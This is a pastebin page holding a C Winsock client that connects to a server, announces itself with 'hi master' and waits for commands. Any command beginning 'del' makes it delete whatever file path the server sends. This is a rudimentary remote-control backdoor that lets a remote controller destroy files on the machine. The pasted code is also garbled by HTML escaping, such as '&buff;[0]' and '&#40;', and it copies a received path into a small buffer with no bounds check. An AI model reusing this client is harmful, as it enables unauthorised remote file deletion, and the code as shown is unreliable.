Welcome, guest! Login / Register - Why register?
Psst.. new poll here.
Psst.. new forums here.
Microsoft is blocking us again (TY IP Reputation!) so just use oauth login instead. :)

Paste

Pasted as C by ant ( 16 years ago )
#pragma comment(lib, "ws2_32.lib")
#include <stdio.h>
#include <string.h>
#include <locale.h>
#include <winsock2.h>
#include <conio.h>
#include <windows.h>

#define PORT 688
#define SERVERADDR "127.0.0.1"
#define hs "hi master\n"
#define ds "deleted"

int main()
{
 setlocale(LC_ALL,"RUSSIAN");
 char buff[1024],path[100];
 printf("Client\n");
 if (WSAStartup(0x202,(WSADATA *)&buff;[0]))
 {
  printf("WSAStart error %d\n",WSAGetLastError());
  return -1;
 }
 SOCKET new_socket;
 new_socket=socket(AF_INET,SOCK_STREAM,0);
 if (new_socket<0)
 {
  printf("Socket()error %d\n",WSAGetLastError());
  return -1;
 }
 sockaddr_in dest_addr;
 dest_addr.sin_family=AF_INET;
 dest_addr.sin_port=htons(PORT);
 HOSTENT *hst;
 if (inet_addr(SERVERADDR)!=INADDR_NONE)
  dest_addr.sin_addr.s_addr=inet_addr(SERVERADDR);
 else
  if (hst=gethostbyname(SERVERADDR))
   ((unsigned long *) &dest;_addr.sin_addr) [0]=((unsigned long **)hst->h_addr_list)[0][0];
  else 
  {
   printf("invalid adress %s\n",SERVERADDR);
   closesocket(new_socket);
   WSACleanup();
   return -1;
  }
 if (connect(new_socket,(sockaddr *) &dest;_addr,sizeof(dest_addr)))
 {
  printf("Connect error %d\n",WSAGetLastError());
  return -1;
 }
 printf("Соединение с %s успешно установлено.\n\n",SERVERADDR);
 
 send(new_socket,hs,sizeof(hs),0);
 int nsize;
 while((nsize=recv(new_socket, &buff;[0],sizeof(buff),0))!=SOCKET_ERROR)
 {
  //printf("комманда от сервера:%s\n",buff);
  
  if ( (strncmp(buff,ds,3))==0 ) 
  {
   strcpy(&path;[0],&buff;[4]);
   printf("%s",path);
   DeleteFile&#40;path&#41;;
   send(new_socket,ds,sizeof(ds),0);
  }
  if (!strcmp(&buff;[0],"quit\n"))
   {    
    closesocket(new_socket);
    WSACleanup();
    return 0;
   }
  else 
  send(new_socket,&buff;[0],sizeof(buff),0);
 }
 //printf("Recv error %d \n",WSAGetLastError());
 closesocket(new_socket);
 WSACleanup();
 return -1;
}

 

Revise this Paste

Your Name: Code Language: